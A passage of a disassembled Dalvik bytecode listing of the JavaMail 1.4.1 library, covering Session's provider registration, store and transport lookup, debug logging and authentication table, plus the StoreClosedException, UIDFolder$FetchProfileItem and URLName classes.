000000F0  const-string            v3, "com.sun.mail.pop3.POP3Store"
000000F4  const-string            v4, "Sun Microsystems, Inc."
000000F8  const-string            v5, "1.4.1"
000000FC  invoke-direct/range     Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
00000102  invoke-virtual          Session->addProvider(Provider)V, p0, v0
00000108  new-instance            v0, Provider
0000010C  sget-object             v1, Provider$Type->STORE:Provider$Type
00000110  const-string            v2, "pop3s"
00000114  const-string            v3, "com.sun.mail.pop3.POP3SSLStore"
00000118  const-string            v4, "Sun Microsystems, Inc."
0000011C  const-string            v5, "1.4.1"
00000120  invoke-direct/range     Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
00000126  invoke-virtual          Session->addProvider(Provider)V, p0, v0
0000012C  new-instance            v0, Provider
00000130  sget-object             v1, Provider$Type->TRANSPORT:Provider$Type
00000134  const-string            v2, "smtp"
00000138  const-string            v3, "com.sun.mail.smtp.SMTPTransport"
0000013C  const-string            v4, "Sun Microsystems, Inc."
00000140  const-string            v5, "1.4.1"
00000144  invoke-direct/range     Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
0000014A  invoke-virtual          Session->addProvider(Provider)V, p0, v0
00000150  new-instance            v0, Provider
00000154  sget-object             v1, Provider$Type->TRANSPORT:Provider$Type
00000158  const-string            v2, "smtps"
0000015C  const-string            v3, "com.sun.mail.smtp.SMTPSSLTransport"
00000160  const-string            v4, "Sun Microsystems, Inc."
00000164  const-string            v5, "1.4.1"
00000168  invoke-direct/range     Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
0000016E  invoke-virtual          Session->addProvider(Provider)V, p0, v0
:174
00000174  iget-boolean            v0, p0, Session->debug:Z
00000178  if-eqz                  v0, :1E6
:17C
0000017C  const-string            v0, "DEBUG: Tables of loaded providers"
00000180  invoke-direct           Session->pr(String)V, p0, v0
00000186  new-instance            v0, StringBuilder
0000018A  const-string            v1, "DEBUG: Providers Listed By Class Name: "
0000018E  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000194  iget-object             v1, p0, Session->providersByClassName:Hashtable
00000198  invoke-virtual          Hashtable->toString()String, v1
0000019E  move-result-object      v1
000001A0  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000001A6  move-result-object      v0
000001A8  invoke-virtual          StringBuilder->toString()String, v0
000001AE  move-result-object      v0
000001B0  invoke-direct           Session->pr(String)V, p0, v0
000001B6  new-instance            v0, StringBuilder
000001BA  const-string            v1, "DEBUG: Providers Listed By Protocol: "
000001BE  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000001C4  iget-object             v1, p0, Session->providersByProtocol:Hashtable
000001C8  invoke-virtual          Hashtable->toString()String, v1
000001CE  move-result-object      v1
000001D0  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000001D6  move-result-object      v0
000001D8  invoke-virtual          StringBuilder->toString()String, v0
000001DE  move-result-object      v0
000001E0  invoke-direct           Session->pr(String)V, p0, v0
:1E6
000001E6  return-void
:1E8
000001E8  move-exception          v0
000001EA  iget-boolean            v2, p0, Session->debug:Z
000001EE  if-eqz                  v2, :66
:1F2
000001F2  new-instance            v2, StringBuilder
000001F6  const-string            v3, "DEBUG: can\'t get java.home: "
000001FA  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000200  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
00000206  move-result-object      v0
00000208  invoke-virtual          StringBuilder->toString()String, v0
0000020E  move-result-object      v0
00000210  invoke-direct           Session->pr(String)V, p0, v0
00000216  goto/16                 :66
          .catch SecurityException {:A .. :66} :1E8
.end method

.method private loadProvidersFromStream(InputStream)V
          .registers 14
00000000  const/4                 v6, 0x0
00000002  if-eqz                  p1, :1C
:6
00000006  new-instance            v7, LineInputStream
0000000A  invoke-direct           LineInputStream-><init>(InputStream)V, v7, p1
:10
00000010  invoke-virtual          LineInputStream->readLine()String, v7
00000016  move-result-object      v0
00000018  if-nez                  v0, :1E
:1C
0000001C  return-void
:1E
0000001E  const-string            v1, "#"
00000022  invoke-virtual          String->startsWith(String)Z, v0, v1
00000028  move-result             v1
0000002A  if-nez                  v1, :10
:2E
0000002E  new-instance            v8, StringTokenizer
00000032  const-string            v1, ";"
00000036  invoke-direct           StringTokenizer-><init>(String, String)V, v8, v0, v1
0000003C  move-object             v5, v6
0000003E  move-object             v4, v6
00000040  move-object             v3, v6
00000042  move-object             v2, v6
00000044  move-object             v1, v6
:46
00000046  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v8
0000004C  move-result             v9
0000004E  if-nez                  v9, :A4
:52
00000052  if-eqz                  v1, :76
:56
00000056  if-eqz                  v2, :76
:5A
0000005A  if-eqz                  v3, :76
:5E
0000005E  invoke-virtual          String->length()I, v2
00000064  move-result             v8
00000066  if-lez                  v8, :76
:6A
0000006A  invoke-virtual          String->length()I, v3
00000070  move-result             v8
00000072  if-gtz                  v8, :184
:76
00000076  iget-boolean            v1, p0, Session->debug:Z
0000007A  if-eqz                  v1, :10
:7E
0000007E  new-instance            v1, StringBuilder
00000082  const-string            v2, "DEBUG: Bad provider entry: "
00000086  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000008C  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
00000092  move-result-object      v0
00000094  invoke-virtual          StringBuilder->toString()String, v0
0000009A  move-result-object      v0
0000009C  invoke-direct           Session->pr(String)V, p0, v0
000000A2  goto                    :10
:A4
000000A4  invoke-virtual          StringTokenizer->nextToken()String, v8
000000AA  move-result-object      v9
000000AC  invoke-virtual          String->trim()String, v9
000000B2  move-result-object      v9
000000B4  const-string            v10, "="
000000B8  invoke-virtual          String->indexOf(String)I, v9, v10
000000BE  move-result             v10
000000C0  const-string            v11, "protocol="
000000C4  invoke-virtual          String->startsWith(String)Z, v9, v11
000000CA  move-result             v11
000000CC  if-eqz                  v11, :DE
:D0
000000D0  add-int/lit8            v2, v10, 0x1
000000D4  invoke-virtual          String->substring(I)String, v9, v2
000000DA  move-result-object      v2
000000DC  goto                    :46
:DE
000000DE  const-string            v11, "type="
000000E2  invoke-virtual          String->startsWith(String)Z, v9, v11
000000E8  move-result             v11
000000EA  if-eqz                  v11, :126
:EE
000000EE  add-int/lit8            v10, v10, 0x1
000000F2  invoke-virtual          String->substring(I)String, v9, v10
000000F8  move-result-object      v9
000000FA  const-string            v10, "store"
000000FE  invoke-virtual          String->equalsIgnoreCase(String)Z, v9, v10
00000104  move-result             v10
00000106  if-eqz                  v10, :110
:10A
0000010A  sget-object             v1, Provider$Type->STORE:Provider$Type
0000010E  goto                    :46
:110
00000110  const-string            v10, "transport"
00000114  invoke-virtual          String->equalsIgnoreCase(String)Z, v9, v10
0000011A  move-result             v9
0000011C  if-eqz                  v9, :46
:120
00000120  sget-object             v1, Provider$Type->TRANSPORT:Provider$Type
00000124  goto                    :46
:126
00000126  const-string            v11, "class="
0000012A  invoke-virtual          String->startsWith(String)Z, v9, v11
00000130  move-result             v11
00000132  if-eqz                  v11, :144
:136
00000136  add-int/lit8            v3, v10, 0x1
0000013A  invoke-virtual          String->substring(I)String, v9, v3
00000140  move-result-object      v3
00000142  goto                    :46
:144
00000144  const-string            v11, "vendor="
00000148  invoke-virtual          String->startsWith(String)Z, v9, v11
0000014E  move-result             v11
00000150  if-eqz                  v11, :164
:154
00000154  add-int/lit8            v4, v10, 0x1
00000158  invoke-virtual          String->substring(I)String, v9, v4
0000015E  move-result-object      v4
00000160  goto/16                 :46
:164
00000164  const-string            v11, "version="
00000168  invoke-virtual          String->startsWith(String)Z, v9, v11
0000016E  move-result             v11
00000170  if-eqz                  v11, :46
:174
00000174  add-int/lit8            v5, v10, 0x1
00000178  invoke-virtual          String->substring(I)String, v9, v5
0000017E  move-result-object      v5
00000180  goto/16                 :46
:184
00000184  new-instance            v0, Provider
00000188  invoke-direct/range     Provider-><init>(Provider$Type, String, String, String, String)V, v0 .. v5
0000018E  invoke-virtual          Session->addProvider(Provider)V, p0, v0
00000194  goto/16                 :10
.end method

.method private loadResource(String, Class, StreamLoader)V
          .registers 8
00000000  const/4                 v1, 0x0
:2
00000002  invoke-static           Session->getResourceAsStream(Class, String)InputStream, p2, p1
00000008  move-result-object      v1
0000000A  if-eqz                  v1, :4C
:E
0000000E  invoke-interface        StreamLoader->load(InputStream)V, p3, v1
00000014  iget-boolean            v0, p0, Session->debug:Z
00000018  if-eqz                  v0, :40
:1C
0000001C  new-instance            v0, StringBuilder
00000020  const-string            v2, "DEBUG: successfully loaded resource: "
00000024  invoke-direct           StringBuilder-><init>(String)V, v0, v2
0000002A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000030  move-result-object      v0
00000032  invoke-virtual          StringBuilder->toString()String, v0
00000038  move-result-object      v0
0000003A  invoke-direct           Session->pr(String)V, p0, v0
:40
00000040  if-eqz                  v1, :4A
:44
00000044  invoke-virtual          InputStream->close()V, v1
:4A
0000004A  return-void
:4C
0000004C  iget-boolean            v0, p0, Session->debug:Z
00000050  if-eqz                  v0, :40
:54
00000054  new-instance            v0, StringBuilder
00000058  const-string            v2, "DEBUG: not loading resource: "
0000005C  invoke-direct           StringBuilder-><init>(String)V, v0, v2
00000062  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000068  move-result-object      v0
0000006A  invoke-virtual          StringBuilder->toString()String, v0
00000070  move-result-object      v0
00000072  invoke-direct           Session->pr(String)V, p0, v0
:78
00000078  goto                    :40
:7A
0000007A  move-exception          v0
:7C
0000007C  iget-boolean            v2, p0, Session->debug:Z
00000080  if-eqz                  v2, :A8
:84
00000084  new-instance            v2, StringBuilder
00000088  const-string            v3, "DEBUG: "
0000008C  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000092  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
00000098  move-result-object      v0
0000009A  invoke-virtual          StringBuilder->toString()String, v0
000000A0  move-result-object      v0
000000A2  invoke-direct           Session->pr(String)V, p0, v0
:A8
000000A8  if-eqz                  v1, :4A
:AC
000000AC  invoke-virtual          InputStream->close()V, v1
:B2
000000B2  goto                    :4A
:B4
000000B4  move-exception          v0
000000B6  goto                    :4A
:B8
000000B8  move-exception          v0
:BA
000000BA  iget-boolean            v2, p0, Session->debug:Z
000000BE  if-eqz                  v2, :E6
:C2
000000C2  new-instance            v2, StringBuilder
000000C6  const-string            v3, "DEBUG: "
000000CA  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000D0  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
000000D6  move-result-object      v0
000000D8  invoke-virtual          StringBuilder->toString()String, v0
000000DE  move-result-object      v0
000000E0  invoke-direct           Session->pr(String)V, p0, v0
:E6
000000E6  if-eqz                  v1, :4A
:EA
000000EA  invoke-virtual          InputStream->close()V, v1
:F0
000000F0  goto                    :4A
:F2
000000F2  move-exception          v0
000000F4  goto                    :4A
:F6
000000F6  move-exception          v0
000000F8  if-eqz                  v1, :102
:FC
000000FC  invoke-virtual          InputStream->close()V, v1
:102
00000102  throw                   v0
:104
00000104  move-exception          v1
00000106  goto                    :102
:108
00000108  move-exception          v0
0000010A  goto                    :4A
          .catch IOException {:2 .. :40} :7A
          .catch SecurityException {:2 .. :40} :B8
          .catchall {:2 .. :40} :F6
          .catch IOException {:44 .. :4A} :108
          .catch IOException {:4C .. :78} :7A
          .catch SecurityException {:4C .. :78} :B8
          .catchall {:4C .. :78} :F6
          .catchall {:7C .. :A8} :F6
          .catch IOException {:AC .. :B2} :B4
          .catchall {:BA .. :E6} :F6
          .catch IOException {:EA .. :F0} :F2
          .catch IOException {:FC .. :102} :104
.end method

.method private static openStream(URL)InputStream
          .registers 2
00000000  new-instance            v0, Session$7
00000004  invoke-direct           Session$7-><init>(URL)V, v0, p0
0000000A  invoke-static           AccessController->doPrivileged(PrivilegedExceptionAction)Object, v0
00000010  move-result-object      v0
00000012  check-cast              v0, InputStream
:16
00000016  return-object           v0
:18
00000018  move-exception          v0
0000001A  invoke-virtual          PrivilegedActionException->getException()Exception, v0
00000020  move-result-object      v0
00000022  check-cast              v0, IOException
00000026  throw                   v0
          .catch PrivilegedActionException {:0 .. :16} :18
.end method

.method private pr(String)V
          .registers 3
00000000  invoke-virtual          Session->getDebugOut()PrintStream, p0
00000006  move-result-object      v0
00000008  invoke-virtual          PrintStream->println(String)V, v0, p1
0000000E  return-void
.end method

.method public declared-synchronized addProvider(Provider)V
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Session->providers:Vector
00000006  invoke-virtual          Vector->addElement(Object)V, v0, p1
0000000C  iget-object             v0, p0, Session->providersByClassName:Hashtable
00000010  invoke-virtual          Provider->getClassName()String, p1
00000016  move-result-object      v1
00000018  invoke-virtual          Hashtable->put(Object, Object)Object, v0, v1, p1
0000001E  iget-object             v0, p0, Session->providersByProtocol:Hashtable
00000022  invoke-virtual          Provider->getProtocol()String, p1
00000028  move-result-object      v1
0000002A  invoke-virtual          Hashtable->containsKey(Object)Z, v0, v1
00000030  move-result             v0
00000032  if-nez                  v0, :48
:36
00000036  iget-object             v0, p0, Session->providersByProtocol:Hashtable
0000003A  invoke-virtual          Provider->getProtocol()String, p1
00000040  move-result-object      v1
00000042  invoke-virtual          Hashtable->put(Object, Object)Object, v0, v1, p1
:48
00000048  monitor-exit            p0
0000004A  return-void
:4C
0000004C  move-exception          v0
0000004E  monitor-exit            p0
00000050  throw                   v0
          .catchall {:2 .. :48} :4C
.end method

.method public declared-synchronized getDebug()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, Session->debug:Z
:6
00000006  monitor-exit            p0
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public declared-synchronized getDebugOut()PrintStream
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Session->out:PrintStream
00000006  if-nez                  v0, :12
:A
0000000A  sget-object             v0, System->out:PrintStream
:E
0000000E  monitor-exit            p0
00000010  return-object           v0
:12
00000012  iget-object             v0, p0, Session->out:PrintStream
:16
00000016  goto                    :E
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :E} :18
          .catchall {:12 .. :16} :18
.end method

.method public getFolder(URLName)Folder
          .registers 3
00000000  invoke-virtual          Session->getStore(URLName)Store, p0, p1
00000006  move-result-object      v0
00000008  invoke-virtual          Store->connect()V, v0
0000000E  invoke-virtual          Store->getFolder(URLName)Folder, v0, p1
00000014  move-result-object      v0
00000016  return-object           v0
.end method

.method public getPasswordAuthentication(URLName)PasswordAuthentication
          .registers 3
00000000  iget-object             v0, p0, Session->authTable:Hashtable
00000004  invoke-virtual          Hashtable->get(Object)Object, v0, p1
0000000A  move-result-object      v0
0000000C  check-cast              v0, PasswordAuthentication
00000010  return-object           v0
.end method

.method public getProperties()Properties
          .registers 2
00000000  iget-object             v0, p0, Session->props:Properties
00000004  return-object           v0
.end method

.method public getProperty(String)String
          .registers 3
00000000  iget-object             v0, p0, Session->props:Properties
00000004  invoke-virtual          Properties->getProperty(String)String, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public declared-synchronized getProvider(String)Provider
          .registers 6
00000000  monitor-enter           p0
00000002  if-eqz                  p1, :12
:6
00000006  invoke-virtual          String->length()I, p1
0000000C  move-result             v0
0000000E  if-gtz                  v0, :28
:12
00000012  new-instance            v0, NoSuchProviderException
00000016  const-string            v1, "Invalid protocol: null"
0000001A  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
00000020  throw                   v0
:22
00000022  move-exception          v0
00000024  monitor-exit            p0
00000026  throw                   v0
:28
00000028  const/4                 v0, 0x0
:2A
0000002A  iget-object             v1, p0, Session->props:Properties
0000002E  new-instance            v2, StringBuilder
00000032  const-string            v3, "mail."
00000036  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000003C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
00000042  move-result-object      v2
00000044  const-string            v3, ".class"
00000048  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
0000004E  move-result-object      v2
00000050  invoke-virtual          StringBuilder->toString()String, v2
00000056  move-result-object      v2
00000058  invoke-virtual          Properties->getProperty(String)String, v1, v2
0000005E  move-result-object      v1
00000060  if-eqz                  v1, :B4
:64
00000064  iget-boolean            v0, p0, Session->debug:Z
00000068  if-eqz                  v0, :A4
:6C
0000006C  new-instance            v0, StringBuilder
00000070  const-string            v2, "DEBUG: mail."
00000074  invoke-direct           StringBuilder-><init>(String)V, v0, v2
0000007A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000080  move-result-object      v0
00000082  const-string            v2, ".class property exists and points to "
00000086  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v2
0000008C  move-result-object      v0
0000008E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000094  move-result-object      v0
00000096  invoke-virtual          StringBuilder->toString()String, v0
0000009C  move-result-object      v0
0000009E  invoke-direct           Session->pr(String)V, p0, v0
:A4
000000A4  iget-object             v0, p0, Session->providersByClassName:Hashtable
000000A8  invoke-virtual          Hashtable->get(Object)Object, v0, v1
000000AE  move-result-object      v0
000000B0  check-cast              v0, Provider
:B4
000000B4  if-eqz                  v0, :BC
:B8
000000B8  monitor-exit            p0
000000BA  return-object           v0
:BC
000000BC  iget-object             v0, p0, Session->providersByProtocol:Hashtable
000000C0  invoke-virtual          Hashtable->get(Object)Object, v0, p1
000000C6  move-result-object      v0
000000C8  check-cast              v0, Provider
000000CC  if-nez                  v0, :FA
:D0
000000D0  new-instance            v0, NoSuchProviderException
000000D4  new-instance            v1, StringBuilder
000000D8  const-string            v2, "No provider for "
000000DC  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000E2  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
000000E8  move-result-object      v1
000000EA  invoke-virtual          StringBuilder->toString()String, v1
000000F0  move-result-object      v1
000000F2  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
000000F8  throw                   v0
:FA
000000FA  iget-boolean            v1, p0, Session->debug:Z
000000FE  if-eqz                  v1, :B8
:102
00000102  new-instance            v1, StringBuilder
00000106  const-string            v2, "DEBUG: getProvider() returning "
0000010A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000110  invoke-virtual          Provider->toString()String, v0
00000116  move-result-object      v2
00000118  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000011E  move-result-object      v1
00000120  invoke-virtual          StringBuilder->toString()String, v1
00000126  move-result-object      v1
00000128  invoke-direct           Session->pr(String)V, p0, v1
:12E
0000012E  goto                    :B8
          .catchall {:6 .. :22} :22
          .catchall {:2A .. :B4} :22
          .catchall {:BC .. :12E} :22
.end method

.method public declared-synchronized getProviders()[Provider
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, Session->providers:Vector
00000006  invoke-virtual          Vector->size()I, v0
0000000C  move-result             v0
0000000E  new-array               v0, v0, [Provider
00000012  iget-object             v1, p0, Session->providers:Vector
00000016  invoke-virtual          Vector->copyInto([Object)V, v1, v0
:1C
0000001C  monitor-exit            p0
0000001E  return-object           v0
:20
00000020  move-exception          v0
00000022  monitor-exit            p0
00000024  throw                   v0
          .catchall {:2 .. :1C} :20
.end method

.method public getStore()Store
          .registers 2
00000000  const-string            v0, "mail.store.protocol"
00000004  invoke-virtual          Session->getProperty(String)String, p0, v0
0000000A  move-result-object      v0
0000000C  invoke-virtual          Session->getStore(String)Store, p0, v0
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public getStore(String)Store
          .registers 9
00000000  const/4                 v2, 0x0
00000002  new-instance            v0, URLName
00000006  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000008  move-object             v1, p1
0000000A  move-object             v4, v2
0000000C  move-object             v5, v2
0000000E  move-object             v6, v2
00000010  invoke-direct/range     URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
00000016  invoke-virtual          Session->getStore(URLName)Store, p0, v0
0000001C  move-result-object      v0
0000001E  return-object           v0
.end method

.method public getStore(Provider)Store
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Session->getStore(Provider, URLName)Store, p0, p1, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public getStore(URLName)Store
          .registers 3
00000000  invoke-virtual          URLName->getProtocol()String, p1
00000006  move-result-object      v0
00000008  invoke-virtual          Session->getProvider(String)Provider, p0, v0
0000000E  move-result-object      v0
00000010  invoke-direct           Session->getStore(Provider, URLName)Store, p0, v0, p1
00000016  move-result-object      v0
00000018  return-object           v0
.end method

.method public getTransport()Transport
          .registers 2
00000000  const-string            v0, "mail.transport.protocol"
00000004  invoke-virtual          Session->getProperty(String)String, p0, v0
0000000A  move-result-object      v0
0000000C  invoke-virtual          Session->getTransport(String)Transport, p0, v0
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public getTransport(String)Transport
          .registers 9
00000000  const/4                 v2, 0x0
00000002  new-instance            v0, URLName
00000006  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000008  move-object             v1, p1
0000000A  move-object             v4, v2
0000000C  move-object             v5, v2
0000000E  move-object             v6, v2
00000010  invoke-direct/range     URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
00000016  invoke-virtual          Session->getTransport(URLName)Transport, p0, v0
0000001C  move-result-object      v0
0000001E  return-object           v0
.end method

.method public getTransport(Address)Transport
          .registers 5
00000000  iget-object             v0, p0, Session->addressMap:Properties
00000004  invoke-virtual          Address->getType()String, p1
0000000A  move-result-object      v1
0000000C  invoke-virtual          Properties->get(Object)Object, v0, v1
00000012  move-result-object      v0
00000014  check-cast              v0, String
00000018  if-nez                  v0, :4E
:1C
0000001C  new-instance            v0, NoSuchProviderException
00000020  new-instance            v1, StringBuilder
00000024  const-string            v2, "No provider for Address type: "
00000028  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000002E  invoke-virtual          Address->getType()String, p1
00000034  move-result-object      v2
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000003C  move-result-object      v1
0000003E  invoke-virtual          StringBuilder->toString()String, v1
00000044  move-result-object      v1
00000046  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
0000004C  throw                   v0
:4E
0000004E  invoke-virtual          Session->getTransport(String)Transport, p0, v0
00000054  move-result-object      v0
00000056  return-object           v0
.end method

.method public getTransport(Provider)Transport
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           Session->getTransport(Provider, URLName)Transport, p0, p1, v0
00000008  move-result-object      v0
0000000A  return-object           v0
.end method

.method public getTransport(URLName)Transport
          .registers 3
00000000  invoke-virtual          URLName->getProtocol()String, p1
00000006  move-result-object      v0
00000008  invoke-virtual          Session->getProvider(String)Provider, p0, v0
0000000E  move-result-object      v0
00000010  invoke-direct           Session->getTransport(Provider, URLName)Transport, p0, v0, p1
00000016  move-result-object      v0
00000018  return-object           v0
.end method

.method public requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication
          .registers 12
00000000  iget-object             v0, p0, Session->authenticator:Authenticator
00000004  if-eqz                  v0, :20
:8
00000008  iget-object             v0, p0, Session->authenticator:Authenticator
0000000C  move-object             v1, p1
0000000E  move                    v2, p2
00000010  move-object             v3, p3
00000012  move-object             v4, p4
00000014  move-object             v5, p5
00000016  invoke-virtual/range    Authenticator->requestPasswordAuthentication(InetAddress, I, String, String, String)PasswordAuthentication, v0 .. v5
0000001C  move-result-object      v0
:1E
0000001E  return-object           v0
:20
00000020  const/4                 v0, 0x0
00000022  goto                    :1E
.end method

.method public declared-synchronized setDebug(Z)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-boolean            p1, p0, Session->debug:Z
00000006  if-eqz                  p1, :14
:A
0000000A  const-string            v0, "DEBUG: setDebug: JavaMail version 1.4.1"
0000000E  invoke-direct           Session->pr(String)V, p0, v0
:14
00000014  monitor-exit            p0
00000016  return-void
:18
00000018  move-exception          v0
0000001A  monitor-exit            p0
0000001C  throw                   v0
          .catchall {:2 .. :14} :18
.end method

.method public declared-synchronized setDebugOut(PrintStream)V
          .registers 3
00000000  monitor-enter           p0
:2
00000002  iput-object             p1, p0, Session->out:PrintStream
:6
00000006  monitor-exit            p0
00000008  return-void
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method public setPasswordAuthentication(URLName, PasswordAuthentication)V
          .registers 4
00000000  if-nez                  p2, :10
:4
00000004  iget-object             v0, p0, Session->authTable:Hashtable
00000008  invoke-virtual          Hashtable->remove(Object)Object, v0, p1
:E
0000000E  return-void
:10
00000010  iget-object             v0, p0, Session->authTable:Hashtable
00000014  invoke-virtual          Hashtable->put(Object, Object)Object, v0, p1, p2
0000001A  goto                    :E
.end method

.method public declared-synchronized setProtocolForAddress(String, String)V
          .registers 4
00000000  monitor-enter           p0
00000002  if-nez                  p2, :14
:6
00000006  iget-object             v0, p0, Session->addressMap:Properties
0000000A  invoke-virtual          Properties->remove(Object)Object, v0, p1
:10
00000010  monitor-exit            p0
00000012  return-void
:14
00000014  iget-object             v0, p0, Session->addressMap:Properties
00000018  invoke-virtual          Properties->put(Object, Object)Object, v0, p1, p2
:1E
0000001E  goto                    :10
:20
00000020  move-exception          v0
00000022  monitor-exit            p0
00000024  throw                   v0
          .catchall {:6 .. :10} :20
          .catchall {:14 .. :1E} :20
.end method

.method public declared-synchronized setProvider(Provider)V
          .registers 5
00000000  monitor-enter           p0
00000002  if-nez                  p1, :1C
:6
00000006  new-instance            v0, NoSuchProviderException
0000000A  const-string            v1, "Can\'t set null provider"
0000000E  invoke-direct           NoSuchProviderException-><init>(String)V, v0, v1
00000014  throw                   v0
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
:1C
0000001C  iget-object             v0, p0, Session->providersByProtocol:Hashtable
00000020  invoke-virtual          Provider->getProtocol()String, p1
00000026  move-result-object      v1
00000028  invoke-virtual          Hashtable->put(Object, Object)Object, v0, v1, p1
0000002E  iget-object             v0, p0, Session->props:Properties
00000032  new-instance            v1, StringBuilder
00000036  const-string            v2, "mail."
0000003A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000040  invoke-virtual          Provider->getProtocol()String, p1
00000046  move-result-object      v2
00000048  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000004E  move-result-object      v1
00000050  const-string            v2, ".class"
00000054  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000005A  move-result-object      v1
0000005C  invoke-virtual          StringBuilder->toString()String, v1
00000062  move-result-object      v1
00000064  invoke-virtual          Provider->getClassName()String, p1
0000006A  move-result-object      v2
0000006C  invoke-virtual          Properties->put(Object, Object)Object, v0, v1, v2
:72
00000072  monitor-exit            p0
00000074  return-void
          .catchall {:6 .. :16} :16
          .catchall {:1C .. :72} :16
.end method

#--------------------------------------------------------------------------------
.class public StoreClosedException
.super MessagingException
.source ""

.field private static final serialVersionUID:J = 0xD4595255D6538F21L
.field private transient varargs store:Store

.method public constructor <init>(Store)V
          .registers 3
00000000  const/4                 v0, 0x0
00000002  invoke-direct           StoreClosedException-><init>(Store, String)V, p0, p1, v0
00000008  return-void
.end method

.method public constructor <init>(Store, String)V
          .registers 3
00000000  invoke-direct           MessagingException-><init>(String)V, p0, p2
00000006  iput-object             p1, p0, StoreClosedException->store:Store
0000000A  return-void
.end method

.method public getStore()Store
          .registers 2
00000000  iget-object             v0, p0, StoreClosedException->store:Store
00000004  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class public UIDFolder$FetchProfileItem
.super FetchProfile$Item
.source ""

.field public static final UID:UIDFolder$FetchProfileItem

.method static constructor <clinit>()V
          .registers 2
00000000  new-instance            v0, UIDFolder$FetchProfileItem
00000004  const-string            v1, "UID"
00000008  invoke-direct           UIDFolder$FetchProfileItem-><init>(String)V, v0, v1
0000000E  sput-object             v0, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
00000012  return-void
.end method

.method protected constructor <init>(String)V
          .registers 2
00000000  invoke-direct           FetchProfile$Item-><init>(String)V, p0, p1
00000006  return-void
.end method

#--------------------------------------------------------------------------------
.class public URLName
.super Object
.source ""

.field static final caseDiff:I = 0x20
.field private static doEncode:Z
.field static dontNeedEncoding:BitSet
.field private file:String
.field protected fullURL:String
.field private hashCode:I
.field private host:String
.field private hostAddress:InetAddress
.field private hostAddressKnown:Z
.field private password:String
.field private port:I
.field private protocol:String
.field private ref:String
.field private username:String

.method static constructor <clinit>()V
          .registers 2
00000000  const/4                 v0, 0x1
00000002  sput-boolean            v0, URLName->doEncode:Z
:6
00000006  const-string            v1, "mail.URLName.dontencode"
0000000A  invoke-static           Boolean->getBoolean(String)Z, v1
00000010  move-result             v1
00000012  if-eqz                  v1, :18
:16
00000016  const/4                 v0, 0x0
:18
00000018  sput-boolean            v0, URLName->doEncode:Z
:1C
0000001C  new-instance            v0, BitSet
00000020  const/16                v1, 0x100
00000024  invoke-direct           BitSet-><init>(I)V, v0, v1
0000002A  sput-object             v0, URLName->dontNeedEncoding:BitSet
0000002E  const/16                v0, 0x61
:32
00000032  const/16                v1, 0x7A
00000036  if-le                   v0, v1, :9A
:3A
0000003A  const/16                v0, 0x41
:3E
0000003E  const/16                v1, 0x5A
00000042  if-le                   v0, v1, :AA
:46
00000046  const/16                v0, 0x30
:4A
0000004A  const/16                v1, 0x39
0000004E  if-le                   v0, v1, :BA
:52
00000052  sget-object             v0, URLName->dontNeedEncoding:BitSet
00000056  const/16                v1, 0x20
